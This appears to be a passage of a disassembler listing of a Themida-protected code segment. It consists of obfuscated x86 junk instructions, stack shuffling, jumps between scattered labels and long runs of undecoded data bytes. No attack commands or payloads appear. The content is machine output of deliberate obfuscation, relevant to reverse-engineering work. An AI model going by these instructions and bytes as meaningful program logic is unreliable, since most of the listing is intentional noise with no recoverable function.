dd 6174EA81h, 0EA0155B4h, 6174B850h, 0FAE955B4h, 48FFFFF3h
dd 0E907E0C1h, 4C44h, 81E68956h, 4C6h, 4EE8100h, 87000000h
dd 895C2434h, 0D3B3241Ch, 67E902B1h, 4000070h, 40D04FDh
dd 0E9F828D9h, 33F2h, 0F300DDB6h, 72E5E9h, 0EB816600h
dd 0C4E9192Fh, 5800001Ch, 5C240C87h, 9CC83B66h, 0FFAF45E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FADCD: ; CODE XREF: Themida_:00500B2Aj
shr ebx, 7
push eax
push ebx
mov ebx, 7A170B68h
sub ebx, 0FA6E9293h
mov eax, ebx
jmp loc_5015D6
; ---------------------------------------------------------------------------
dd 53D830ACh, 2ECB6866h, 0FFBC51E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FADF1: ; CODE XREF: Themida_:004FCF0Cj
mov [esp], eax
mov eax, 3C3A7DDDh
xor ecx, eax
pop eax
jmp loc_4FD207
; ---------------------------------------------------------------------------
aBIwsRsns db 'ÃiWé Réns',0
dd 24048F00h, 148B665Ch, 0FBCCE924h, 0D5F6FFFFh, 0E9D9F580h
dd 33h, 8105E6C1h, 8949B3F6h, 81DEF74Dh, 8E8162C6h, 5EF50119h
dd 0FFEDC1E9h, 0D8E95AFFh, 29000037h, 0F1C381EBh, 0E912E968h
dd 43CBh, 6AE9DDF6h, 8000005Bh, 0EC30F8EDh, 58E52859h
dd 4BB05066h, 5866C528h, 0E9BBC580h, 0FFFFD6E3h, 65956852h
dd 0E95A7127h, 0FFFFD1B3h, 81241C8Bh, 4C4h, 24048F00h
dd 8924248Bh, 3BE92404h, 31000024h, 3C33243Ch, 6E42E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FAE9E: ; CODE XREF: Themida_:004F7F64j
push esi
mov esi, 0B34179Ah
mov ebp, 18FD5746h
add ebp, esi
pop esi
shl ebp, 3
push ebx
jmp loc_4F6C08
; ---------------------------------------------------------------------------
db 0B8h, 0A5h, 2
dd 0A12D1CCFh, 0E91CCF02h, 60C3h, 0D46E9BB9h, 2E1C155h
dd 0FFBF2FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FAED1: ; CODE XREF: Themida_:004FEFF7j
mov edi, 8C65B0Ch
jmp loc_4FCA75
; ---------------------------------------------------------------------------
db 0F7h
aASL db 'ÕÁí',8,'éÁl',0
db 0
; ---------------------------------------------------------------------------
loc_4FAEE5: ; CODE XREF: Themida_:005002C1j
push 3B4D0188h
pop ecx
xor ecx, 446C6F16h
dec ecx
jmp loc_4FE605
; ---------------------------------------------------------------------------
db 33h
dd 248B242Ch, 0B30F6624h, 0E99C2404h, 0FFFFB964h
; ---------------------------------------------------------------------------
loc_4FAF08: ; CODE XREF: Themida_:004FF16Ej
pop eax
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
pop dword ptr [esp]
jmp loc_500523
; ---------------------------------------------------------------------------
db 81h
dd 2D51DFC2h, 79E95811h, 2DFFFFF3h, 3C48252Ch, 9143E52Dh
dd 2F30E90Ch, 0C890000h, 1B4FE924h, 8B660000h, 0B968240Ch
dd 8900007Fh, 0E954242Ch, 30ACh, 0E904C783h, 0FFFFBF55h
; ---------------------------------------------------------------------------
loc_4FAF58: ; CODE XREF: Themida_:004FAA76j
xor [esp], esi
jmp loc_4F642C
; ---------------------------------------------------------------------------
dd 81243C8Bh, 4C4h, 5832FF00h, 4AC6E9h, 24148700h, 0E924248Bh
dd 0FFFFD9A5h, 100368h, 4798E900h, 148B0000h, 61BAE924h
dd 0EE010000h, 59D6EE81h, 0E95D3A4Ch, 2510h
; ---------------------------------------------------------------------------
loc_4FAF9C: ; CODE XREF: Themida_:005025A6j
pop ecx
add ecx, 4
jmp loc_5002D6
; ---------------------------------------------------------------------------
dd 0F611EB80h, 800E9D3h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FAFB2: ; CODE XREF: Themida_:004FEF2Dj
pop esi
add esp, 4
jmp loc_4F7CE6
; ---------------------------------------------------------------------------
db 89h
dd 0D6B02404h, 0C180ABB1h, 52C12897h, 0E98097B6h, 80F128DFh
dd 585ADFC1h, 6D4C6866h, 240C8966h, 0F6241486h, 241486D2h
dd 0D1865966h, 0D186D2F6h, 0C1FED1F6h, 80B4E980h, 0C83062E9h
dd 4EC8359h, 51240489h, 93B47EB5h, 0F659EC30h, 0E95051DCh
dd 6B23h, 6041B951h, 0F1817842h, 5532E45h, 0F707E9C1h
dd 1FF181D9h, 814ADC59h, 703EF9C9h, 9BE561Dh, 1420641h
dd 0E62E9F1h, 66BB0000h, 29031008h, 0E2C8E9D8h, 0E181FFFFh
dd 3B3B145Fh, 428BBE56h, 0EE812601h, 3227036h, 0C106EEC1h
dd 0C68105EEh, 503809ADh, 0FFB64FE9h, 0ACA4E9FFh, 0C801FFFFh
dd 51D82959h, 3127BBB9h, 4C1A6869h, 1C890000h, 6656BB24h
dd 0DBF71B83h, 6E86BD55h, 0ED811CB4h, 74E5CFFCh, 295DEB31h
dd 241C8BD9h, 0FFDB8FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FB0A1: ; CODE XREF: Themida_:004FC572j
dec esi
sub esi, 279406DDh
neg esi
not esi
inc esi
xor esi, 2D926686h
sub ebp, 454D1330h
add ebp, esi
add ebp, 454D1330h
mov esi, [esp]
add esp, 4
push ecx
mov ecx, 2
add ebp, 5C2426E1h
add ebp, ecx
sub ebp, 5C2426E1h
pop ecx
xor ebp, [esp]
xor [esp], ebp
jmp loc_4FCF79
; ---------------------------------------------------------------------------
dw 248Bh
dd 0C317E924h, 8151FFFFh, 39FA242Ch, 815D56A7h, 0A739FAC5h
dd 0B9515956h, 375B6866h, 159C829h, 618BE9E8h, 48B0000h
dd 1EE76824h, 11E90000h, 5500006Fh, 64141EBDh, 5EDC174h
dd 7BE3BA52h, 0F28119A5h, 1A065B41h, 0E95AD531h, 75CFh
dd 34C7055Ah, 0C18909E0h, 3FD5E9h, 2434FF00h
db 5Dh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
add ebp, 4
jmp loc_4F6D8B
; ---------------------------------------------------------------------------
db 5Bh, 89h, 0C8h
dd offset byte_5010E9
dd 3EB45000h, 58E730h, 241C8BF8h, 5561E9h, 6C015800h, 0C8E90424h
dd 5F000019h, 3E3D68h, 24348900h, 2BD55h, 0EE890000h, 0C3E9815Dh
dd 107C177h, 0C3BB53F1h, 107C177h, 85E95BD9h, 53FFFFE1h
dd 5F0165BBh, 0DBF38139h, 0E931A53Bh, 72CFh
; ---------------------------------------------------------------------------
loc_4FB1BC: ; CODE XREF: Themida_:004F8D0Fj
or ebx, 4BA01159h
jmp loc_4FC682
; ---------------------------------------------------------------------------
loc_4FB1C7: ; CODE XREF: Themida_:004FDC60j
add esp, 4
add esp, 4
add esp, 4
shr ecx, 0Bh
push 1635h
mov [esp], ebx
push 6281h
jmp loc_4FD661
; ---------------------------------------------------------------------------
db 0FFh
dd 815D2434h, 4C4h, 74FF5200h, 8F5A0424h, 665C2404h, 6824048Bh
dd 71D0h, 2961E9h, 0CE015B00h, 4FB85059h, 0F7303421h, 664135D0h
dd 110555D4h, 165E047h, 0FA2AE9C6h, 815FFFFFh, 0FF3FFFF6h
dd 0B6EF813Ah, 81784223h, 376290EFh, 81F70171h, 376290C7h
dd 0EF7FE971h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FB24A: ; CODE XREF: Themida_:004FE01Cj
pop dword ptr [esp]
mov esp, [esp]
xor [esp], eax
jmp loc_4FBCB2
; ---------------------------------------------------------------------------
dd 984AD2BBh, 0E9D8294Ah, 0FFFFF1FFh, 3913EB81h, 30FF2BE9h
dd 0FFAAA1E9h, 24248BFFh, 5B240489h, 39E9DA89h, 81000052h
dd 0ABD239F6h, 0E9F33118h, 0FFFFC2EEh
; ---------------------------------------------------------------------------
loc_4FB28C: ; CODE XREF: Themida_:004FA430j
add [esp+4], edi
pop edi
jmp loc_4F5D12
; ---------------------------------------------------------------------------
dw 3768h
dd 0E900001Dh, 0FFFFE051h, 4C681h, 0EE830000h, 24348704h
dd 240C895Ch, 0FFCFB9E9h, 4D828FFh, 0F87CE956h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FB2BE: ; CODE XREF: Themida_:00501497j
push 172Dh
mov [esp], esp
add dword ptr [esp], 4
pop ebp
jmp loc_4FF769
; ---------------------------------------------------------------------------
db 66h
dd 51240C8Bh, 6AB668h, 24248900h, 4BA52h, 6C810000h, 60730424h
dd 54011C52h, 44810424h, 60730424h, 595A1C52h, 3FF8E9h
dd 0C4815900h, 4, 2BE56h, 0F0010000h, 541DE95Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FB316: ; CODE XREF: Themida_:004FA516j
push 2CDEh
mov [esp], esp
add dword ptr [esp], 4
pop esi
jmp loc_4FF65E
; ---------------------------------------------------------------------------
db 58h
dd 0E181D1F7h, 58B22B7Bh, 2B62E981h, 0CE8910A2h, 51240C8Bh
dd 0C181E189h, 4, 4C181h, 0FF510000h, 59042474h, 5C24048Fh
dd 5E1C7709h, 0FFA9B1E9h, 0A9ACE9FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FB366: ; CODE XREF: Themida_:004FAA9Aj
and eax, 1CD66307h
push ecx
mov ecx, 58C1352Ah
xor ecx, 5E826400h
and eax, ecx
pop ecx
xor eax, 4004004h
add esi, eax
pop eax
push 15A2h
mov [esp], ebx
jmp loc_5007C7
; ---------------------------------------------------------------------------
loc_4FB38F: ; CODE XREF: Themida_:004FFCCEj
pop ecx
loc_4FB390: ; CODE XREF: Themida_:004FCE0Cj
push edx
mov edx, ebx
mov eax, edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push 5854h
mov [esp], eax
jmp loc_4F958D
; ---------------------------------------------------------------------------
loc_4FB3AB: ; CODE XREF: Themida_:004FE843j
mov esi, esp
add esi, 4
push edx
jmp loc_4F60D2
; ---------------------------------------------------------------------------
db 0BEh, 5, 68h
dd 0F6812573h, 25736801h, 2DB4E9h, 4C48100h, 81000000h
dd 0FFF3C2C5h, 0E9EB01FFh, 44F1h, 0F073E95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FB3E2: ; CODE XREF: Themida_:004FAC7Cj
and esi, 6E117D21h
shr esi, 4
sub esi, 68B354B3h
push 0
sub [esp], esi
pop esi
sub esi, 12C2EAF9h
sub eax, 6A5E344Fh
sub eax, esi
add eax, 6A5E344Fh
mov esi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push edx
mov edx, 3F1070B4h
and edx, 1F4371D2h
push edi
mov edi, 66E755D8h
inc edi
add edi, 75422941h
neg edi
add edi, 5BD20B6Eh
add edi, 9F57D43Ch
sub edx, edi
pop edi
jmp loc_4F8331
; ---------------------------------------------------------------------------
loc_4FB44E: ; CODE XREF: Themida_:005017A6j
mov esp, [esp]
push 4FF7h
mov [esp], ebx
jmp loc_4FC5E9
; ---------------------------------------------------------------------------
dw 815Dh
dd 592812EFh, 586BE975h, 4BB0000h, 1000000h, 0FF565BDEh
dd 8B042474h
db 34h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_4FD622
; ---------------------------------------------------------------------------
dw 3C87h
dd 0E1F65C24h, 0CCB60F66h, 75BB6866h, 240C8966h, 0C8B60F66h
dd 0E99C5166h, 0FFFFA872h
; ---------------------------------------------------------------------------
loc_4FB4A0: ; CODE XREF: Themida_:00501CDBj
mov ebx, 1ABF0189h
sub edi, ebx
pop ebx
pop edx
jmp loc_4F85D8
; ---------------------------------------------------------------------------
dw 0EA81h
dd 45A25629h, 33B3C281h, 53E9259Dh, 87FFFFA8h, 565C241Ch
dd 0FFE848E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FB4C9: ; CODE XREF: Themida_:004F87A4j
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
push ebp
jmp loc_4F7607
; ---------------------------------------------------------------------------
dd 0E9545558h, 0FFFFDCCEh, 4C2CC581h, 0E8010D51h, 58C6295Dh
dd 4EC81h, 14890000h, 1E78BA24h, 48E92620h
db 30h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FB503: ; CODE XREF: Themida_:00501E97j
mov esi, 11F2A3A2h
add esi, ebp
pop ebp
push eax
jmp loc_4FC799
; ---------------------------------------------------------------------------
db 46h, 51h, 0B9h
dd 13775E09h, 6B5BF181h, 0E9812BC9h, 19525B33h, 51E9D9F7h
dd 83000004h, 3C8704C7h, 0BD555C24h, 38977FF6h, 0ED8F581h
dd 454561B1h, 2882F581h, 0CAE9451Fh, 0BAFFFFB1h, 35DD66BDh
dd 0F1E9FA87h
db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FB557: ; CODE XREF: Themida_:004F73B5j
add esi, 4CEC22BEh
pop ecx
jmp loc_4F65CC
; ---------------------------------------------------------------------------
loc_4FB563: ; CODE XREF: Themida_:004FAC89j
xor edi, 0E74776A0h
mov eax, edi
pop edi
add [esp+4], eax
mov eax, [esp]
add esp, 4
mov eax, [esp]
add esp, 4
push edi
push ebp
mov ebp, 41101E7Dh
mov edi, ebp
pop ebp
sub eax, 15CF6F8Ah
sub eax, edi
add eax, 15CF6F8Ah
push dword ptr [esp]
jmp loc_4F62AA
; ---------------------------------------------------------------------------
db 59h, 8Fh, 4
dd 34FF5C24h, 0A8685824h, 0E900004Bh, 1F0Bh, 2404895Ch
dd 55575854h, 0A1E950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FB5BE: ; CODE XREF: Themida_:004FDE3Aj
shr eax, 0Bh
xor ecx, eax
push 12B9h
mov [esp], ecx
push esi
jmp loc_4FCB9A
; ---------------------------------------------------------------------------
db 66h, 50h, 0B4h
dd 66E22049h, 0C0C2FE58h, 67E908E2h
db 10h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FB5E3: ; CODE XREF: Themida_:004FDD68j
push dword ptr [esp]
pop ebx
add esp, 4
mov ebp, [esp]
jmp loc_4FA57B
; ---------------------------------------------------------------------------
dw 0F101h
aSy db '^éY*',0
align 2
dw 4BBh
dd 0E9000000h, 0FFFFB00Dh
; ---------------------------------------------------------------------------
loc_4FB604: ; CODE XREF: Themida_:004F60BDj
mov [esp], esi
mov esi, 310680h
add [esp+8], esi
pop esi
add dword ptr [esp+4], 19E37366h
add [esp+4], eax
push edx
mov edx, 19E37366h
add dword ptr [esp+8], 3E6949CAh
sub [esp+8], edx
sub dword ptr [esp+8], 3E6949CAh
mov edx, [esp]
push edi
jmp loc_4FEB3F
; ---------------------------------------------------------------------------
dd 7D9A6851h, 83592D2Bh, 2C8904ECh, 0D81FE924h, 0D389FFFFh
dd 0FF5BDF89h, 6AE92434h, 68000056h, 210D3772h, 0FFBFBDE9h
dd 241C89FFh, 2CE9DDB7h, 5FFFFF7h, 611F9DADh, 5858C229h
dd 5C241487h, 8B2434FFh, 0C481240Ch, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_4FD0C8
; ---------------------------------------------------------------------------
dd 240C8B66h, 2C481h, 0FE200000h, 83241C8Bh, 0CE8004C4h
dd 16BEE989h, 55AD0000h, 901ED9BDh, 81D5F73Ah, 0B5BB74EDh
dd 3BE2E961h, 0BE560000h, 3D070A72h, 66BE9h, 0C2E18000h
dd 0E969F180h, 6F7Dh
; ---------------------------------------------------------------------------
loc_4FB6D8: ; CODE XREF: Themida_:004FF66Aj
xchg esi, [esp]
jmp loc_4FC37E
; ---------------------------------------------------------------------------
loc_4FB6E0: ; CODE XREF: Themida_:loc_4F841Aj
shr edx, 1
cmp eax, edx
jmp loc_4FDDAC
; ---------------------------------------------------------------------------
db 81h, 0C5h, 1Ah
dd 81684046h, 0EF138BE5h, 0C5814530h, 38FB55AFh, 0FFADE3E9h
dd 241C87FFh, 241C895Ch, 0E2F4468h, 0EBC15B4Fh, 0D1DBF702h
dd 40F381EBh, 896CA336h, 424A5BDAh, 6087F281h, 0E2C13435h
dd 0B9CA8104h, 554C4018h, 0C6DDBBBDh, 0E9EA31ECh, 0FFFFD19Ch
dd 4C483h, 241C8BD8h, 0FFEFF6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FB749: ; CODE XREF: Themida_:004FA5EEj
push 7643h
mov [esp], esi
push esp
pop esi
add esi, 4
sub esp, 4
mov [esp], edx
mov edx, 4
add esi, 706904DBh
add esi, edx
push eax
mov eax, 45D33E43h
and eax, 526D3E87h
sub eax, 0CFD83928h
sub esi, eax
pop eax
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_4FA3B6
; ---------------------------------------------------------------------------
dw 34FFh
dd 0B7CBE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FB79E: ; CODE XREF: Themida_:004FECA9j
cmp ecx, eax
pushf
jmp loc_4F5D12
; ---------------------------------------------------------------------------
dw 3487h
dd 0E6C15C24h, 1555E906h, 52660000h, 0F330FAB6h, 6358E9h
dd 81C30100h, 7B1AFCEBh, 96E95224h, 5AFFFFABh, 0C2AC3548h
dd 30E98E26h
db 3Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FB7D7: ; CODE XREF: Themida_:004F938Cj
shl edx, 6
or edx, 690C7DC3h
push ecx
mov ecx, 465F15C6h
push eax
mov eax, 30F3334Ah
jmp loc_4FF2DB
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 89240C89h, 87268E1h, 4890000h, 0F6AFE924h, 0EC81FFFFh
dd 4, 4740E9h
db 0
; ---------------------------------------------------------------------------
loc_4FB811: ; CODE XREF: Themida_:00500E12j
add edx, 4
jmp loc_4FC311
; ---------------------------------------------------------------------------
dd 4C481h, 0B8500000h, 493C6D72h, 0C3929205h, 58C701B6h
dd 0FFB4DBE9h, 92C281FFh, 145733Dh, 92EA81F2h, 5E45733Dh
dd 4EA81h, 0FF520000h, 5A042474h, 0FFB904E9h, 7DF480FFh
dd 3239E9h, 0ED815D00h, 3444127Bh, 57ED815Fh, 8905C274h
dd 0DD015DEBh, 242C875Bh, 243CD35Ch, 0A494E99Ch, 487FFFFh
dd 3C895C24h, 52236824h, 1C890000h, 6F0F6824h, 535B0386h
dd 651DE9h, 0A9E95200h, 87000063h, 248B242Ch, 24148924h
dd 0FFA465E9h, 45B668FFh, 24890000h, 24048124h, 4, 8324048Fh
dd 5E042404h, 19768h, 24148900h, 2468h, 24148B00h, 4C481h
dd 0EE810000h, 50790467h, 0B4BE5655h, 0C14DBF5Dh, 0F68103EEh
dd 68BC0B99h, 461ACE81h, 0EE812082h, 1ACF6523h, 8BBCC681h
dd 0F5891321h, 5DEE015Eh, 6C1CEE81h, 0D6015764h, 4EC81h
dd 3C890000h, 6C1CBF24h, 0FE015764h, 63EBE95Fh, 1C890000h
dd 0EF06E924h, 0E181FFFFh, 76B7179h, 2DF2E9h
db 0
; ---------------------------------------------------------------------------
loc_4FB939: ; CODE XREF: Themida_:004FF6F4j
push esp
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
add ecx, 4
push esi
mov esi, 4
add ecx, esi
pop esi
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
push 4A3Ch
mov [esp], ebp
jmp loc_4FFCD3
; ---------------------------------------------------------------------------
loc_4FB96F: ; CODE XREF: Themida_:004F7735j
sub eax, 1
shl eax, 2
jmp loc_4FD7A6
; ---------------------------------------------------------------------------
dd 0C181E1D1h, 8A48C0A5h, 8959CE01h, 3BE95EF7h, 86FFFFE3h
dd 99E9243Ch
db 52h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FB997: ; CODE XREF: Themida_:004FDF72j
add edi, 4
push edi
push dword ptr [esp+4]
jmp loc_4F92D7
; ---------------------------------------------------------------------------
loc_4FB9A7: ; CODE XREF: Themida_:004FF56Aj
mov cx, [esp]
push 62CBh
mov [esp], ecx
jmp loc_4F8FD6
; ---------------------------------------------------------------------------
dd 0BD242C89h, 1B68FFh, 4246C31h, 0FFBD28E9h, 2434FFFFh
dd 592434FFh, 55E18951h, 4BDh, 0B1F8E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FB9DE: ; CODE XREF: Themida_:004F9AA7j
push dword ptr [esp]
mov eax, [esp]
push ebp
mov ebp, esp
push ecx
mov ecx, 4
sub ebp, 7F480E42h
jmp loc_50165D
; ---------------------------------------------------------------------------
dd 48BC601h, 4C48124h, 68000000h, 7CAEh, 0BB241C89h, 6B5E6490h
dd 65E7E9h
db 0
; ---------------------------------------------------------------------------
loc_4FBA15: ; CODE XREF: Themida_:004FDDCEj
mov edi, 1E1A1ABEh
or edi, 33BD6709h
xor edi, 29A3144Fh
not edi
xor edi, 2AAE5542h
add edi, 457B933Fh
jmp loc_5012C5
; ---------------------------------------------------------------------------
loc_4FBA39: ; CODE XREF: Themida_:004FFCDFj
add ebp, edi
push dword ptr [esp]
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
push eax
jmp loc_4FEA8A
; ---------------------------------------------------------------------------
dd 53E4BA52h, 0B850295Ch, 692F2AF6h, 21088A35h, 2DD8F74Bh
dd 156C2947h, 57E8AA35h, 58C221C7h, 0C104EAC1h, 0F28105EAh
dd 46846C4Fh, 0C465BF57h, 0FA294680h, 0BC4AE95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FBA8A: ; CODE XREF: Themida_:004F8D8Dj
shl edx, 8
jmp loc_500518
; ---------------------------------------------------------------------------
dw 0EC81h
dd 2, 24148966h, 1240480h, 24148B66h, 6602C483h, 66698A68h
dd 0B0240489h, 66C23030h, 0E924048Bh, 3DA0h, 0CA81DAF7h
dd 4E084207h, 6685F281h, 8956FE8Eh, 0A499E9D6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FBAD2: ; CODE XREF: Themida_:004FD7D4j
add esp, 4
or eax, eax
jnz loc_4FD2B5
push ebp
push 1ACA3DEEh
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_4FD40C
; ---------------------------------------------------------------------------
loc_4FBAFF: ; CODE XREF: Themida_:004FEDAEj
mov eax, [esp]
jmp loc_4F9565
; ---------------------------------------------------------------------------
loc_4FBB07: ; CODE XREF: Themida_:004FFA32j
xor ecx, 68EC44E7h
mov ebx, [esp]
push 7
jmp loc_50268C
; ---------------------------------------------------------------------------
dw 34FFh
dd 54525F24h, 0BFFE9h, 24348B00h, 4C481h, 0DFE90000h, 0ADFFFFA1h
dd 1B85053h, 35723855h, 60EF3FC5h, 0F704E0C1h, 0FF8D2DD0h
dd 0C389730Dh, 5BD82958h, 566BE9h, 8E5C100h, 87E7C581h
dd 0EE0150FCh, 0E8E9505Dh, 8BFFFFBAh, 0F662424h, 43E9C8B6h
dd 81FFFFBAh, 74D398C6h, 45F12DFBh, 0F02955A0h, 0A045F105h
dd 0D0015E55h, 0FA261205h, 83595A5Ch, 148904ECh, 3988BA24h
dd 0DAF72DBEh, 3E4BE9h, 0BA524500h, 2115704Ch, 4206EAC1h
dd 69B6EA81h, 0BE56299Eh, 0CC12B523h, 315EF229h, 0F3C4E9D5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FBBC2: ; CODE XREF: Themida_:004F798Dj
xor [esp], eax
xor eax, [esp]
pop esp
div cx
push ebx
mov ebx, esp
push 1A90h
jmp loc_4F5D46
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 0FFB144E9h, 4C481FFh, 87000000h, 0E95C2404h, 0FFFFA122h
dd 0C6FEDEF6h, 8890C680h, 0C8005AF1h, 8B665966h, 0D8E92414h
dd 8B000055h, 0D3662424h, 0E99C2404h, 0FFFFA0FEh, 0C281E289h
dd 4, 0F9D8E953h, 0EFC1FFFFh, 0D8F79707h, 5BA2E997h, 2E050000h
dd 2D05DE67h, 9418A236h, 48BC301h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop edx
jmp loc_4F7530
; ---------------------------------------------------------------------------
db 5
dd 7813876h, 7CE8BA52h, 0C28115A4h, 25FB416Ah, 0E908EAC1h
dd 3F9Ch, 81E28952h, 4C2h, 4C28300h, 5C241487h, 0BB53D801h
dd 7ACB3D0Eh, 0FFF1E7E9h, 0E9E8B0FFh, 0FFFFC73Ch, 5B241C29h
dd 7DDBC381h, 0DBF75EB5h, 15B1E9h
db 0
; ---------------------------------------------------------------------------
loc_4FBCA1: ; CODE XREF: Themida_:004FC78Dj
mov ebp, [esp]
add esp, 4
shr ecx, 3
jmp loc_4F78D6
; ---------------------------------------------------------------------------
loc_4FBCB2: ; CODE XREF: Themida_:004FB253j
jmp loc_4F5D12
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4812404h, 4, 0E9F03059h, 0FFFFE2EDh, 24048B66h, 525B5453h
dd 0FFD7CCE9h, 4C581FFh, 87000000h, 0FF5C242Ch, 525B2434h
dd 0C2815A54h, 4, 0FFAF42E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FBCF1: ; CODE XREF: Themida_:004F859Cj
add esp, 4
mov ecx, [esp]
add esp, 4
push ebp
push edx
jmp loc_4F95EF
; ---------------------------------------------------------------------------
dd 5113EA81h, 48B5CABh, 3AFEE924h, 8B660000h, 35E9240Ch
db 11h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FBD1B: ; CODE XREF: Themida_:00500A39j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_4F8A66
; ---------------------------------------------------------------------------
dd 122DE956h, 0E9480000h, 577Eh, 5DA1EE81h, 6BE9597Dh
dd 8900002Fh, 0ECE9240Ch, 0B300005Ah, 0F6C3FE8Dh, 7EB80DBh
dd 0FFC12DE9h, 0F2C180FFh, 0D1E9C800h, 0C0000012h, 0F2E907E2h
dd 81FFFFA0h, 4C4h, 2434FF00h, 0B2E9575Ah, 8100002Eh, 42628ECDh
dd 3699E96Fh, 0E9510000h, 0FFFFDCF3h
; ---------------------------------------------------------------------------
loc_4FBD8C: ; CODE XREF: Themida_:004F823Cj
sub edx, 249A30A8h
mov edi, [esp]
add esp, 4
and eax, edx
mov edx, [esp]
jmp loc_5026F3
; ---------------------------------------------------------------------------
dw 1489h
dd 0F6CFB624h, 14DAE9D6h, 348B0000h, 4C48124h, 83000000h
dd 148704C2h, 34FF5C24h, 2434FF24h, 4C48359h, 7AF868h
dd 24048900h, 5156E089h, 39020C68h, 0E9D1592Bh, 0AE98141h
dd 81570256h, 8462FCF1h, 0D1A7E9A0h, 0CB01FFFFh, 4C38359h
dd 1F74E9h, 4E2C100h, 5134EA81h, 0C28147A2h, 70951B10h
dd 9507EA81h, 1CE9CB68h, 81FFFFC4h, 4C4h, 4B85000h, 81000000h
dd 2D51DFEAh, 0AE95511h
db 10h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FBE2B: ; CODE XREF: Themida_:0050122Dj
add eax, esi
add eax, 733F0A59h
jmp loc_4FF7C0
; ---------------------------------------------------------------------------
loc_4FBE37: ; CODE XREF: Themida_:004FFC30j
mov esi, 26725222h
sub ecx, esi
pop esi
push 0BFFh
mov [esp], eax
push edi
push ecx
mov ecx, 4B336AF3h
mov edi, ecx
pop ecx
push 2E8Ch
mov [esp], ebp
push 68E63F26h
pop ebp
jmp loc_4F7247
; ---------------------------------------------------------------------------
dd 0E12D9242h, 11DE372h, 0E7C158C7h, 0B95106h, 0E9000000h
dd 0FFFFB725h, 4EC815Eh, 89000000h, 6853240Ch, 2E9B03AFh
dd 4A73E95Bh, 0B5680000h, 0E953CE07h, 0FFFFEAA2h, 25CEE95Eh
dd 68660000h, 4280000h, 24048A24h, 81E78957h, 4C7h, 2C78300h
dd 0E9243C87h, 0AE8h, 2B850h, 0C3010000h, 0FFA44EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FBECD: ; CODE XREF: Themida_:004FD330j
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
sub eax, 4C8161E0h
pop edi
push 402Eh
mov [esp], edi
push 616C05D8h
mov edi, [esp]
push edi
jmp loc_501A3B
; ---------------------------------------------------------------------------
db 0F7h, 0DFh, 81h
dd 0FA2206EFh, 0FFF901FFh, 575F2434h, 0BD55E789h, 4, 0FFE2E3E9h
dd 240C8BFFh, 5FB0E9h
db 0
; ---------------------------------------------------------------------------
loc_4FBF19: ; CODE XREF: Themida_:004F937Aj
xor al, dl
mov edx, [esp]
add esp, 4
push eax
mov ah, 3Ch
neg ah
push edx
mov dl, 0FCh
or ah, dl
jmp loc_4FF6DB
; ---------------------------------------------------------------------------
dd 2A76BA52h, 0DAF76974h, 655CE281h, 0EA8100A9h, 0FEDAF7D7h
dd 24048752h, 487D0F7h, 420E924h, 0BBE90000h, 89FFFF9Dh
dd 52552424h, 336FE9h
db 0
; ---------------------------------------------------------------------------
loc_4FBF61: ; CODE XREF: Themida_:004FA228j
push 576h
mov [esp], ebx
sub esp, 4
mov [esp], ebx
push ebp
jmp loc_4FF263
; ---------------------------------------------------------------------------
loc_4FBF78: ; CODE XREF: Themida_:004F9A4Fj
pop esp
mov [esp], edi
jmp loc_4F790E
; ---------------------------------------------------------------------------
aIssm db 'ˆáéM%',0
align 4
dd 0B0E9CB87h, 57FFFFBCh, 662AE9h
db 0
; ---------------------------------------------------------------------------
loc_4FBF95: ; CODE XREF: Themida_:004F80BAj
add ecx, 0FFFFFFFFh
shr ecx, 1
xor ecx, 59575736h
